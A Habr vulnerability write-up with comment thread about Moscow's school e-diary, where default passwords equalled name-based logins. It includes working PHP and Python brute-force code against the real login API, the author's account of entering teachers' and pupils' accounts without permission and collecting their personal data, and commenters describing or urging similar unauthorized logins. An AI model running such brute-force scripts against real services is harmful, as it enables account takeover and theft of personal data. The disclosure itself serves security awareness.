Пользователь
0,0
рейтинг
30 декабря 2015 в 13:56

Разработка → Почему важно не выдавать пользователям простой пароль из песочницы

В начале года во всех (ну почти) школах Москвы ввели новый электронный дневник. Его использование было обязательно. Разработчиком этого «великолепного» творения был Департамент ИТ города Москвы. Хоть и красивый дизайн, который доступен пользователям Chrome, внушал, что журнал хорош, на деле было наоборот. Фронтенд был написан на Angular, который, используя API дневника, получал все пользовательские данные. Из-за большой нагрузки со всех школ Москвы или плохой оптимизации скорость работы дневника была низкой, и иногда он даже не был доступен. Учителя жаловались на то, что оценки не выставляются и домашнее задание не сохраняется. Ученики и их родители были не довольны кривым отображением расписания и сообщений от учителей. По поводу отсутствия кроссбраузерности и поддержки мобильных девайсов на фоне всего не очень сильно переживали. Также кроме багов и медленной скорости работы была и «особенность».

Особенность генерации логинов


Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же. Например, у Иванова Ивана Ивановича будет логин и пароль ivanovii, у Сидорова Петра Сергеевича будет sidorovps. В случае «я» будет меняться на «ya», а не на «ia», и «ц» на «c».

Я решил проверить предположение и взял имя, фамилию и отчество одноклассника и успешно авторизовался под его аккаунтом. Потом я проделал те же действия, взяв имя, фамилию и отчество учителя, и успешно авторизовался под его аккаунтом. Получается, любой ученик мог авторизоваться под учителем и менять свои оценки? Я, конечно, понимаю, что у нас в стране не особо занимаются обеспечением безопасности и приватности персональных данных детей (ФИО и даже оценки — персональные данные), но учителя (может быть не все учителя), они не понимают, что нужно побеспокоиться о безопасности своих аккаунтов. Самое классное было то, что после я получил доступ к аккаунту директора гимназии, однако позже выяснил, что он не имеет особых привилегий и прав.

Немного покопав модуль сообщений, я смог украсть фамилии, имена и отчества всей школы — учеников, их родителей и учителей. То есть, получив доступ к аккаунту Васи, я мог украсть персональные данные всей его школы и, взломав небольшое количество аккаунтов, я мог украсть перс. данные многих людей. Дальше я решил проверить, правда ли то, что персональные данные большого количества людей находятся под угрозой.

Брутфорс по логинам


Брутфорс проводился по логинам сгенерированными по выше описанным особенностям и при переборе пароль был эквивалентен логину. Авторизация у журнала шла через их API, которое выдавало auth_token (при правильном логине и пароле) или ошибку (при неправильном логине/пароле). Отправляемые данные состояли из

  • login — логин в стандартном виде
  • password_hash — md5(pass + «4f8202ccd76210b47b40627c621daa56»)


Хеш генерировался на стороне клиента и отправлялся Ajax запросом вместе с логином на API. Не видел, чтобы где-нибудь в крупном продукте или проекте авторизация происходила так. Соль непонятно зачем добавлялась, если авторизоваться можно, зная только хеш.

Я написал php скрипт, который принимал login, создавал хеш пароля, с помощью cUrl отправлял запрос на API журнала и возвращал ответ, который состоял из:

  • id — идентификатор пользователя
  • email — E-mail пользователя (по умолчанию: логин@example.com)
  • type — тип аккаунта («teacher», «student», «parent»)
  • school_id — идентификатор школы
  • school_shortname — название школы
  • first_name — имя
  • last_name — фамилия
  • middle_name — отчество
  • authentication_token — токен, который кладётся в cookie, а при следующий запросов на API отправляется в виде HTTP-Header'a
  • password_change_required — если «true», журнал предложит сменить пароль
  • date_of_birth — дата рождения
  • sex — пол

<?php
$data = array("login" => $_GET['login'], "password_hash" => md5($_GET['login'].'4f8202ccd76210b47b40627c621daa56')); // Создаём массив с логином и хешом пароля
$data_string = json_encode($data); // Конвертируем в JSON
$ch = curl_init('https://dnevnik.mos.ru/lms/api/sessions');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Для того чтобы SSL работал
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Accept: application/vnd.api.v2+json', 
    'Content-Type: application/json;charset=UTF-8',
    'Referer: https://dnevnik.mos.ru/auth',
    'Origin: https://dnevnik.mos.ru',
    'Content-Length: ' . strlen($data_string))
);

$result = curl_exec($ch);
echo $result; // Выводим ответ API журнала
?>

Сама прога для брутфорса была написана на Python, она отправляла запрос на сервер, где был php скрипт, и записывала ответ в файл, если авторизация проходила успешно.

import urllib.request
def tryToHack(login):
    try:
        ans = urllib.request.urlopen("http://*******.koding.io/php.php?login="+login).read()
        ans = str(ans)
        if not str(ans).find("authentication_error") > 1:  # Если авторизация прошла успешно, записываем в файл
            print(ans[ans.find("'") + 1:-1], file=fout)
    except:
        pass

fin = open("fam.txt", "r")  # Файл с фамилиями
fout = open("out.txt", "w")
surnames = fin.readlines()
for i in range(len(surnames)):
    surnames[i] = surnames[i].rstrip()
alp = [chr(i) for i in range(ord('a'), ord('z') + 1)]  # Массив английского алфавита
for i in surnames:      # Перебираем фамилии
    for j in alp:       # Перебираем первую букву имени
        for k in alp:   # Перебираем первую букву отчества
            tryToHack(i + j + k)

Статистика ущерба


Я перебрал популярные фамилии (по моему мнению): Иванов, Иванова, Петров, Петрова, Сидороа, Сидорова, Гончаров и Гончарова. Получается 8 * 26 * 26 (кол-во фамилий * кол-во букв в английском алфавите * кол-во букв в английском алфавите) = 5408 логинов и паролей. Из около 1500 были верные. Около половины из них были с «password_change_required»: true, но пароли никто не менял.

image


Вывод


Не стоит вручать пользователям простые пароль, выдавать один пароль на все аккаунты по умолчанию или устанавливать пароль равный логину. Данную «особенность» я нигде больше не видел, так что это вторичное напоминание разработчикам этого «чуда».
Дмитрий Петров @subirdcom
карма
23,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (140)

  • +3
    Мдаа, крайне грустная история. Сейчас интереса ради зашел на dnevnik.mos.ru, и следуя указаниям автора статьи, ввел логин и пароль совершенно рандомного человека, придуманного только что. И, что удивительно, зашел. Надо ребятам срочно что-то с этим делать.
    • +6
      Сейчас сайт ляжет от хабраэффекта ;)
    • 0
      пускать-то пускает, но аякс-запросы выдают 500. Надеюсь, это уже начали фиксить приложение
      • +8
        Я подозреваю, что это как раз и есть хабраэффект)
        • +7
          В статье же написано, что сайт всегда так работает ;) — так что ему никакой хабраэффект и не нужен, чтоб 500 возвращать.
    • +9
      Коснулось только нескольких школ из пилотной зоны нового дневника, не массовая проблема. Все школы основной версии заходят на дневник через московский портал госуслуг. Закрыли прямой доступ и для этой версии уже. А также сменили пароли учитепей и включили принудительную смену для родителей и учеников. Пользователей конечно инструктировали о необходимости смены пароля при первом же заходе, но инерция все-таки сильнее. Учтем обязательно.
      • +4
        Скажите, просто интересно, как вы планировали решать проблему уникальных логинов и паролей? Если в системе есть ivanovaa, то какой логин будет у нового Иванова Алексея Алексеевича?

        Ну и радует, что госструктура работает над закрытием дырок в такое позднее время, не уходя домой готовиться к празднику и не забивая на всё. Спасибо вам за такой подход!
        • +1
          В больших корпорациях эта проблема решается либо другим комбинированием части имени и фамилии: скажем billg и billga это два человека с похожим именем, но первый пришёл раньше и потому занял короткий ник. Из за этого, кстати, иногда получается, что ник мужчины звучит как женское имя и наоборот: в таких конторах это не проблема, а вот в школах этим точно будут дразнить.
          • 0
            Я админю небольшую компанию, но у нас нередки «семейные» работники. Поэтому и фамилии и отчества дублируются и первые буквы имени. Принял решение именовать по принципу 4 буквы фамилии+3 буквы имени+1 буква отчества. Получается лаконичные (обычно) логины с фиксированной длинной и пока ни одного повторения. Но конечно для единой площадки по нескольким школам такое не прокатит, а в одной имеет шанс совпадения весьма незначительный.
            • 0
              4 буквы фамилии+3 буквы имени+1 буква отчества [...] пока ни одного повторения.
              Это потому, что у Вас братья-близнецы Александр и Алексей не работают.

              (Кстати, их сёстры Алена и Алевтина звонили.)
              • 0
                Но братья-сестры Максим и Мария уже есть, пока алгоритм держится :)
                • 0
                  Ключевое слово «пока».

                  Я всегда жёстко протестовал против логинов-паролей, основанных на частях паспортных данных. Это же клад для хакеров, которые пользуются социальной инженерией.

                  Звонок №1: «Алё! Мы тут счёт на вашу компанию выписываем, инициалы вашего главбуха на визитке плохо пропечатаны, то ли М, то ли К… А, да-да, Наталья Андреевна, спасибо большое, записал!»
                  Звонок №2: «Извините, а как Наталье Андревне позвонить, как её фамилия, забыл, Вер… Вор… А, да, спасибо, Новицкая, это я с другой Натальей перепутал!»
                  • +2
                    ИМХО, безопасность, основанная на незнании логинов — не безопасность. Так же как и криптоалгоритм, основанный на незнании самого алгоритма не криптостоек. Надо еще и знать куда этот логин применить. При отсутствии внешних подключений и низкой ценности информации, с которой работает организация уровень паранойи снижается. Все таки у логинов и имен компьютеров должна быть логика, причем такая, которую можно задокументировать. Веб сервисы и внутренние сервисы несколько отличаются по восприятию сотрудниками. Если в редкоиспользуемых веб сервисах люди готовы мириться с нелогичными идентификаторами, то ежедневно комфортнее работать с чем-то понятным и логичным. Можно использовать и случайные 16 значные цифробуквенные ID, которые не повторятся. Только сколько учений придется провести, особенно при наличии сотрудников «тех кому за 60». И хорошо иногда повторять про себя, что «мы работаем для бизнеса, а не бизнес работает для нас» :)
                    • +2
                      Видите ли, я просто вольно переложил историю взлома одного из американских банков, потому как не могу найти исходную статью. Там был как раз такой метод эскалации — от мелкого клерка по инстанциям вверх до главной операционистки: каждому следующему уровню выдавалась информация, полученная от предыдущего (типа «да я ж ваш, просто новый сотрудник, ещё не всё знаю: видите — сколько секретов я знаю!»), в потом он раскручивался на то, что социальный хакер ещё не знал («ой, простите, я логин знаю, а вот пароль запамятовал»).
                    • +1
                      Низкой ценности информации?
                      Вы уверены?
                      Имена и фамилии отличников. которые сегодня в 10 классе, через 5-7 лет на разных государственных должностях: инженеры, разработчики, физики-атомщики и т.д…

                      Количество идиотов на хабре зашкаливает.
                      • +1
                        Работал я лет пять назад в одной компании, которая выдавала экстренные кредиты «до получки» (под бешеные проценты).

                        Во тогда ещё подумалось, что база данных этой компании — сокровище бесценное для иностранных разведок, если сколоть (join) её пофамильно со списком работников местного Министерства обороны, заводов, работающих с секретными заказами, и так далее…
                      • 0
                        Вы уж не Вангой будете, чтоб окрещать людей идиотами? Хочется потрещать — трещите с друзьями или задавайте вопросы. А тут попрошу засунуть язык с такими громкими высказываниями глубоко в… ну вы поняли. Мне в отличии от вас известно больше о внутренней организации и взаимодействии и тут уж мне решать как все будет выглядеть. Но у вас я смотрю есть в тайне сокрытый обширный материал по именованию пользователей в малых, средних и больших компаниях. Не держите уж его в секрете, опубликуйте. Я в том числе почитаю, может чего и нового почерпну. Да и крупные госкорпорации (использующие похожие схемы) наконец то обретут просветление.
        • 0
          Будет ivanovaa-2. У нашего учителя по информатике был подобный
      • +8
        Пользователей конечно инструктировали о необходимости смены пароля при первом же заходе
        Ну вы как дети малые.
        Пользователей не нужно инструктировать в таких вопросах. Им просто не надо давать никакого другого выбора, кроме смены пароля.
        • +1
          И они поставят! ох уж они поставят.

          *****
          маша
          table
          XX-XX-XX (городской телефон it-отдела)
          и т.п.

          Все примеры, включая 5 звездочек — с той поры, когда я работал в университете в отделе IT. В какой-то момент мы пришли к принудительной генерации логина на основе ФИО (ой, а я не помню что куда вбивать, это не мое и т.п.) и автоматического цифробуквенного пароля. Смена пароля — новая памятка с новым сгенерированным роботом паролем. И только так.
          • 0
            Да лучше они такой поставят, чем у них ваш суперсложный мегапароль будет на бумажке записан и на мониторе приклеплён.
            • +1
              Многолетняя практика говорит об обратном.

              Уж лучше они у себя на кафедре или дома будут с бумажкой/наклейкой — иначе спам/вирус-боты в легкую прорываются через защиту от брутфорса и начинают слать спам или звонить через шлюз IP-телефонии в страны с инопланетными кодами.

              И да, от «бумажек на мониторе» необычайно эффективно помогает рассылка сводной таблицы посещенных сайтов в конце месяца по почте. Непонятные и ненужные аккаунты, моментально становятся предметом бдительного внимания как со стороны владельца (стыдно же), так и со стороны коллег (интересно же, чем сосед-бездельник занимается).
  • +1
    Вообще говоря, если в генерации логина и пароля присутствует какой-то прямой алгоритм, рано или поздно он будет вскрыт. Что нам этой статьей и продемонстировали.
    • 0
      не, ну одно дело «некий алгоритм», и другое — вот такое вот топорное решение.

      И, кстати, как у них реализована уникальность пользователей, с такими-то логинами?
      • 0
        Видимо, к одному логину подходит несколько паролей. Или добавляется единичка в конце логина.
        • +7
          Видимо, к одному логину подходит несколько паролей.

          Одинаковых по дефолту…
          • 0
            мда, как-то этот момент я упустил, каюсь)
        • 0
          Так ведь пароли изначально равны логину, наверное второй вариант
    • 0
      Зависит от того, что именно имеется в виду под «прямым» алгоритмом. Если пароль делать криптографически стойким генератором псевдослучайных чисел (который можно взять готовый или даже написать в три строчки), то рано он вскрыт не будет.
    • +1
      Это называется «Security through obscurity» en.wikipedia.org/wiki/Security_through_obscurity
  • +1
    Вообще, те дневники, которые попадались мне, были не очень удобными для использования. Вплоть до того, что к одному акку родителя нельзя было привязать больше одного ребенка, а использование у двух аккаунтов одного мобильного телефона не позволялось. Обойти-то обошли проблему, но осадок остался. Так что вопрос, кто и через какое место такое делает — открыт…
  • +13
    Отличный подарок детям на Новый Год, которые знают как зовут их учителя.
    • +12
      Вспоминая анекдот — таким детям уже не нужно править свои пятерки
    • +5
      Астрологи объявляют неделю электронных дневников.
      Прирост хороших оценок удваивается.
      • +4
        Даёшь больше золотых медалистов!

        А если серьёзно, интересно, если ли бэкап (хоть бумажный), и история изменения оценок, чтобы можно было найти что поменяли и восстановить если что?
    • +1
      Вообще не понимаю, для чего автору было это открывать широкой публике под новый год (перед длинными каникулами).
      • +6
        Чтобы кого-то очень тупого уволили?
        • –2
          То есть, утечка данных не важна, главное крайнего найти? Сомневаюсь, что по факту кого-то уволят.
          • +6
            С таким подходом к безопасности, как у описываемой системы, об утечке говорить бессмысленно. Вы же не думаете, что автор — первый кто обнаружил, что «в тюрьме нет четвёртой стены», как в известном анекдоте?
            • +6
              В Аду есть специальный котел для тех, кто упоминает «широко известные» анекдоты и не рассказывает их.
              • +3
                Поймали ковбои индейцев, заперли их в сарае и ушли. Проходит три дня, индейцы возвращаются в племя. Там их расспрашивают — мол, как вы сбежали? Один рассказывает: «День мы сидим, другой день сидим, а на третий день Орлиный Глаз заметил, что у сарая нет одной стены.»
      • +2
        действительно не очень корректно, но мы уже исправили. Коснулось лишь несколько школ из пилота новой версии дневника, хотя это и не извиняет разработчиков.
        • –2
          > это и не извиняет разработчиков.
          И вообще не извиняет учителей русского языка.

          image
          • +1
            Хотя комментарий, на который вы ответили этой картинкой и написан не очень грамотно, но выделенная вами гласная там поставлена верная.
            • 0
              «Простите, погорячился. Признаю себя ослом и жду Ваших распоряжений.» (с)

              (Как раз тот самый случай, когда невозможность исправить хабракомментарий жутко достаёт).
      • 0
        Особенность не закрывали после написания в техническую поддержку, поэтому написал
    • +1
      Ученики недолго радовались, дырку уже закрыли. Она, кстати, затронула только несколько школ из зоны, где внедряется новая версия дневника, а не всех, как подумал топикстартер. У нас школы в дневники через московский портал госуслуг ходят уже давно — с двухфакторной защитой. Ну и все действия логируются естественно с возможностью откатить любые «несанкционированные» оценки.
  • +11
    Это чем надо думать, чтобы давать пароль по умолчанию равным логину??
    • 0
      Лично мне кажется, что как раз тем местом, которое учит современная система образования.
  • 0
    а между тем, в личном кабинете указаны имейлы и телефоны, сейчас новость дойдет до спамеров, и кто-то получит себе неплохую базу
    • 0
      Убрал бы автор публикацию в черновики… а то ж пострадает куча народу, тем более что пароли не меняют те, кто ничего в этом не понимают и потому вообще оказываются беззащитными в такой ситуации.
      • +6
        Поздно, статьи хабра мгновенно оседают в кеше гугла, постоянно так просматриваю закрытые публикации с возрастом меньше 10 минут.

      • 0
        Не волнуйтесь, уже закрыли все что описано. Это была экспериментальная версия дневника, которая пилотируется на небольшом числе пользователей. Все наши обычные пользователи ходят в дневник через портал госуслуг московский.
        • +1
          Полторы тысячи только Ивановых, Петровых, Сидоровых и Гончаровых? Небольшое число???
        • +1
          Не волнуйтесь, уже закрыли все что описано.
          А может, стоило бы закрыть ещё и то, что не описано?
    • –1
      Это тестовая версия дневника, который пилотируется в нескольких школах, и большинство данных тоже тестовые. Кроме того, уже пофиксили.
      • +1
        Вы знаете, тестовая она конечно тестовая, а вот данные у вас там, судя по всему, самые «натуральные».

        Вы по логам не смотрели, сколько человек (хватит с точностью, думаю, до тысяч) зашло на сайт за сегодня?
      • 0
        Я не люблю два раза повторять
  • +5
    Это чем надо думать чтобы хеш генерить на клиенте и отсылать уже его… Теряется весь смысл хеширования — если можно авторизоваться ТОЛЬКО зная хеш, то толку-то?!
    • 0
      Вообще, если честно, ничего в этом страшного нет. Во первых, кто вам сказал, что пароли в базе хранятся именно в таком виде, в каком они отправляются с клиента? Скорее всего этот хэш хэшируется ещё раз на сервере.
      Во вторых, можно даже найти объяснение такой мере. Тупое, но всё-же в духе разработчиков. Они просто хотели обезопасить пароль от перехвата траффика с помощью прокси.
      • +2
        Но если прокси перехватит хэш, а он принимается сервером в качестве пароля, то это по сути равнозначно перехвату самого пароля.
        • 0
          Попробовать подобрать хэш — это по сложности так-же как и подобрать пароль. Или вы предлагаете отсылать голый пароль?
          • +3
            Ничего подбирать уже не нужно — у нас и так есть строка (хэш), по которой сервер нас принимает за своего.

            Что делать? Использовать HTTPS.
            • +1
              HTTPS лучший вариант, но в конце концов можно извратиться и сделать что нибудь вроде SRP. Но уж точно не так.
        • +1
          Да, да, именно поэтому я и написал, что объяснение тупое, но всё-же в духе разработчиков данного сервиса.
  • +6
    О каком дневнике идет речь? В нашей школе используется mrko.mos.ru, в который напрямую залогиниться нельзя (или я не нашел как) — только через pgu.mos.ru. Однако там тоже все не лучшим образом сделано:
    На родительском собрании раздали логины/пароли в виде набора цифр и конечно же, пароль соответствовал логину. Я сразу же решил поменять пароль и заодно логин тоже (такая возможность есть). Однако я не долго радовался, т.к. после смены логина и пароля я больше не смог зайти ни по новым ни по старым данным. Звонок в тех.поддержку меня еще больше расстроил, поскольку женщина на том конце долго и упорно просила у меня старые и новые учетные данные вместе паролем! После чего пробовала сами зайти под ними и после безуспешных результатов сообщила, что она ничем не может помочь — надо обращаться в школу, чтобы они сбросили мне пароль.
    • +2
      По личным ощущениям, не могу не процитировать слова Лаврова. По правилам хабра, не могу процитировать слова Лаврова…
    • 0
      Паноптикум
    • +1
      Да, в МРКО доступ через портал госуслуг московский, описанное касалось экспериментальной версии дневника в нескольких школах, но и это уже закрыли. По поводу того, что не помогла поддержка, приносим извинения. Если какие-то проблемы с дневником еще сохраняются, пишите сюда или в личку, будем рады помочь!
  • +5
    Родные братья Петров Илья Александрович (petrovia) и Петров Иван Александрович(petrovia) поступили в один класс одной школы и сломали систему.
    • 0
      там к логину '-1' добавляется у дубликатов
      • 0
        А потом вслед за Ильёй и Иваном пришли Игорь, Игнат, Исаак, Иосиф и Ираклий. А потом — ещё куча пацанов с теми же именами, но другими отчествами на А. Счётчик, надеюсь, будет тикать дальше? Или остановится на добавлении минус единицы? :-)
      • 0
        -2
    • +3
      Напомнило

      image
  • +4
    Надеюсь автор поменял пароль на рандомный хотя бы в тех 1500 аккаунтов, в которые удалось войти?

    Ну и предлагаю так делать всем, кто успешно вошел под логином учителя. От разработчиков вряд ли быстро фикс будет, а так хоть всем Хабром закроем дыру.
    • +1
      И дневник заодно закроем?
      • +1
        Сейчас, наверное, это не критично, а после праздников получат люди в школе новые пароли. Ну и можно уведомление на почту из личного кабинета отправлять, что пароль изменен для обеспечения безопасности. Блокировка аккаунта — это нормальная реакция при компрометации, поэтому ничего страшного я не вижу.
        • 0
          Да, только вот вас об этом не просили ни пользователи, ни разработчики, ни ответственные за эту систему. Не был в системе, поэтому не знаю, можно ли там из личного кабинета посылать какие-то письма на собственную почту (это кажется странным), и, тем более, не знаю, будет ли что-то отсылаться при смене пароля.
          • +6
            За это смело статью можно себе получить
            272 УК РФ
            1. Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации, — наказывается ....

            А с учётом как у нас суды умеют разбираться в ИТ делах, да и на кого сразу же списывают свои косяки все гос структуры, особенно за тендерные разработки. Думаю не мало «хакеров» могут отловить наши правохранители, а министерство образования скинуть на них свой косяк.
            • 0
              Ну и предлагаю так делать всем, кто успешно вошел под логином учителя.
              За это смело статью можно себе получить 272 УК РФ
              Информация к размышлению: не все хабрачитатели живут в РФ…
      • 0
        И автора поста заодно закроем.
      • –2
        Это не основная версия дневника была, а пилот на нескольких школах, его привели к стандарту основного продукта уже, дырка закрыта.
        • –1
          дырка закрыта.
          Вы хотели сказать "одна дырка закрыта".
    • –2
      Фикс уже накатили, это не массовая история, а экспериментальный дневник, который обкатывается в нескольких школах.
      • –2
        Повторять два раза не люблю
        • 0
          Три раза
  • 0
    Судя по всему часть логинов и паролей еще даже не выдана родителям.
  • 0
    Есть разновидность систем, где пользователям можно выдавать простые пароли.
    Более того, даже можно выдавать одинаковые для всех.
    Но.
    1. Эта система внутреннего употребления. Она недоступна извне. Многих пользователей можно узнать в лицо или по номеру телефона
    2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
    3. Каждый момент подбора пароля записывается в логи
    4. После трех неправильных попыток входа аккаунт блокируется. До обращения к админам.

    Вот так и живём.
    Кто узнал?
    • +1
      2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями
      С какими предыдущими, если это 1-й вход?
      • 0
        Тогда ни с какими. Это уже частный случай.
    • +1
      > 4. После трех неправильных попыток входа аккаунт блокируется. До обращения к админам.

      И можно успешно DoS'ить пользователей. Например, если не хочешь, чтобы родители увидели свежую двойку.
      • +1
        Так я и говорю:
        >Есть разновидность систем
        >1. Эта система внутреннего употребления.
        Если систему попробовать ддосить *изнутри*, то это… ммм… чревато…
        Именно поэтому политика может позволить себе быть… несколько иной…
    • 0
      2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями

      То есть, где-то в системе хранятся все эти пароли, а пото́м их кто-то «украдёт» — прелестно!!!
      • +2
        То есть, где-то в системе хранятся все эти пароли, а пото́м их кто-то «украдёт» — прелестно!!!
        Не обязательно сами пароли. Хэши.

        Кстати, на данный момент ebay помнит все ранее использованные пароли (все до единого, Карл!!! Вплоть до 2001 года!!!)
        • 0
          ebay помнит все ранее использованные пароли

          А это хорошо?
          • 0
            Ну как Вам сказать… обычно, когда в абзаце упоминается Карл, подразумевается нечто вроде «Да они там что, уху ели???»
  • 0
    Я так понимаю, портал для школьников сделали школьники. :-D
    • +2
      Не, талантливые племянники, которые в этих компутерах разбираются у-уу как.
  • +6
    У меня теща учителем работает.

    Полгода назад им всем преподавателям выдали пароли.
    Тёща пароль потеряла, в пятницу вечером хотела ввести отметки за месяц и… пароля нет.

    Ну она в истерике. Мы с женой говорим — в понедельник получишь новый пароль, не переживай!!..
    Выяснили, что в воскресение deadline.
    Я спросил из скольки символов пароль. Мне ответили, что… из пяти…
    Ну я весь такой в понты (тёща же!): «Ха! Сейчас разберемся! Попей чаю, мама, не переживай! Твой тесть white hacker, использует свою силу!»
    Я часик поколдавал в PyCharm'е и перебрал пароли.
    Теща довольная! Затем мы помогли ей вбить оценки в систему (оказывается для неё и это трудно).

    * * *
    Далее началось самое интересное. Я, как нормальный безопасник не мог устоять перед искушением и аналогичным образом «поломал» пароли других лиц в школе (у тещи был список ФИО — логины, распечатанные на A4, так что логины я знал). Короче, перешел на темную сторону силы…

    Оставил крутиться на пару дней, в воскресенье вечером посмотрел результаты. Порадовался и, разумеется, всю полученную информацию в итоге уничтожил…

    В понедельник утром аншлаг. Оказывается я нечаянно устроил DDoS DoS… В итоге заполнили только те учителя, которые сели за комп раньше моей тёщи.
    А те, кто сел позже в пятницу или в субботу — заполнить оценки — не могли этого сделать из-за отказа в обслуживании…

    До сих пор стыдно… Чувствую себя Дарт Вейдером :((
    Сходил в Церковь — исповедовался и твердо решил — даже ради интереса ничего не ломать…
    А то мало ли…
    • +10
      Все оценки за месяц заполняем перед дедлайном. Как это по-нашему…
    • 0
      В Татарстане электронный дневник заполняется сразу же на перемене после урока, иначе учитель получит по шапке. Сам периодически смотрю оценки во время учебы ребенка.
      Пароли выдают на бумажке, сам логин из 10 цифр, а вот пароль состоит из 4 букв. Думаю, что при желании и тут набрутфорсить паролей можно много и самых разных.
      • +3
        >В Татарстане электронный дневник заполняется сразу же на перемене после урока
        Это просто ад для учителей. Времени на отдых не остаётся.
  • 0
    ivanbolhovitinov
    2. Пользователи обязаны поменять пароль при первом входе. И этот пароль не может совпадать с пятью предыдущими паролями

    При первом входе у пользователя не может быть 5 прошлых паролей :)
    • 0
      Имеются в виду пароли пяти недавно залогинившихся пользователей.
      • 0
        Таки нет.
        • 0
          Жаль, было бы прикольно.
          • +6
            Это очень и очень старая шутка:
            Извините, Вы не можете использовать указанный пароль. Такой пароль уже использует пользователь Misha. Пожалуйста, придумайте другой пароль.
    • +2
      А если он новый, то все прошлые пароли пустые. А пустые пароли запрещены.И всё равно — нет!
      Купи палку колбасы, а если будут яйца — купи десяток

      Столько лет прошло, а я всё обожаю этот анекдот.
    • +12
      — Извините, Ваш пароль используется более 30 дней, необходимо выбрать новый!
      — розы
      — извините, слишком мало символов в пароле!
      — розовые розы
      — Извините, пароль должен содержать хотя бы одну цифру!
      — 1 розовая роза
      — Извините, не допускается использование пробелов в пароле!
      — 1розоваяроза
      — Извините, необходимо использовать как минимум 10 различных символов в пароле!
      — 1грёбанаярозоваяроза
      — Извините, необходимо использовать как минимум одну заглавную букву в пароле!
      — 1ГРЁБАНАЯрозоваяроза
      — Извините, не допускается использование нескольких заглавных букв, следующих подряд!
      — 1ГрёбанаяРозоваяРоза
      — Извините, пароль должен состоять более чем из 20 символов!
      — 1ГрёбанаяРозоваяРозаБудетТорчатьИзЗадаЕслиМнеНеДашьДоступПрямоБляСейчас!
      — Извините, этот пароль уже занят!
      • +8
        — Извините, этот пароль уже занят пользователем petrovia!
  • +1
    Видимо, прознали о проблеме и что-то изменили. Теперь авторизоваться не удаётся, хотя каких-то 3 часа назад…
    • 0
      Изменили точно, но топорно как-то, т.к. нормальные пароли тоже сбросили. Могли бы посмотреть — меняли пользователи пароль или нет, а не всех под одну гребенку.
    • 0
      Да, закрыли уже прямой доступ в тестовую версию дневника (речь шла только о ней), теперь только через московский портал госуслуг через двойную аутентификацию, сменили пароли учителей, включили принудительную смену для родителей.
  • +2
    Потому, что «пока гром не грянет, мужик не перекрестится». Все эти сложные неотключаемые политики паролей не только выбешивают, и не только провоцируют использовать один и тот же пароль на нескольких ресурсах. Они провоцируют пользователей использовать простые пароли где только можно, где позволят, где нет политик. А ещё они не дают пользователям на собственной шкуре почуствовать, что такое скомпрометировать данные, или даже учётную запись.

    Политики паролей, которые носят категорический характер (вида «нельзя использовать пароль менее чем из 8 символов» или «обязательно должны быть прописные и строчные буквы и цифры») — зло. Они только уменьшают пространство паролей, не привнося особого повышения безопасности. Появляются пароли вида CegthCtrhtnysqGfhjkm, и почему люди решили, что это резко повышает безопасность — ума не приложу. Это же всего один бит энтропии!

    Я принимаю два возможных подхода к заданию пароля. Первый — это генерация случайного пароля. Пользователь может потыкать кнопочку несколько раз, будут генерироваться новые пароли, и можно остановиться на том, который понравился, но вот ввести свой собственный пароль нельзя. Это даст максимальную безопасность. Также это повысит шансы, что пароль не будет совпадать с паролем этой же персоны на других ресурсах.

    Второй — позволить установить совершенно произвольный пароль, но при этом давать рекомендации по поводу его сложности. Например, сейчас популярно показывать «сложность» пароля в процессе его задания в виде цветной полоски, дополняя текстом (простой/средний/сложный) — вот это отличная идея. В этом случае также возможно ограничивать доступ к более опасным функциям пользователям с недостаточно сложными паролями.

    Красивым решением будет забыть об аутентификации по паролю и раздать токены (ну или pkcs12-контейнеры, на худой конец). Аутентификация будет по клиентскому tls-ключу, например, по полю commonName.

    И, в описанном случае по-моему виноваты не разработчики, а те, кто систему разворачивал и разработал или утвердил регламент добавления пользователей. Система позволяла задать нормальные пароли, это админы-внедрятели не воспользовались возможностью.
  • +5
    Хороше исследование, особенно для школьника. И правильно сделали, что опубликовали здесь, надеюсь кто-то получит по шапке и в следующем школьном проекте все будет не столь печально.

    Однако на будущее посоветую автору познакомиться с концепцией Responsible disclosure, что можно перевести как «ответственное раскрытие (информации)». Основная идея в том, чтобы дать админам и разработчикам системы возможность исправить найденную уязвимость до того, как информация о ней будет опубликована в открытом доступе. Тем самым выводятся из-под удара простые пользователи. И в публикации обязательно сообщается, как и когда был информирован вендор, его реакция, сколько времени было дано на исправление и т.д.
    • +1
      Я писал на почту. Ждал долго, но ответа не было, наверное, считали, что это не серьезно. Вот и написал статью на хабре, чтобы хоть какая-нибудь реакция была. К счастью пофиксили быстро, и теперь я не могу авторизоваться в дневнике даже под своим логином. На почту новый логин не пришел. Потом выдадут новый, я надеюсь.
      • 0
        А на какой адрес вы писали, можете уточнить?
  • 0
    Всем участникам дискуссии большое спасибо за ценные комментарии! Во-первых, спешим немного успокоить, описанная в посте ситуация касается только нескольких школ, в которых идет пилотирование новой экспериментальной версии дневника, остальные школы заходят в электронный дневник и журнал через московский портал госуслуг, то есть идентифицируются дважды. Участников пилота инструктировали менять пароль при первом заходе в систему, однако силу инерции действительно недооценили. Что уже сделали – принудительно сменили все идентичные логины и пароли учителей, сделали заход и в эту версию дневника через личный кабинет на pgu.mos.ru, запретили работу с родительским и ученическим аккаунтом пока пользователь не сменит пароль. Топикстартеру отдельное спасибо, однако было бы этично сначала связаться с нами.
    • +1
      принудительно сменили все идентичные логины и пароли

      Видимо не только их.

      сделали заход и в эту версию дневника через личный кабинет на pgu.mos.ru

      Что-то сильно испортилось. При логине из pgu.mos.ru пишет, что пользователя с указанным логином МРКО не существует. А на dnevnik.mos.ru был хороший пароль (я то поменял его сразу, хотя ребенок инструкций из школы не приносил) и туда теперь тоже не пускает с ним.

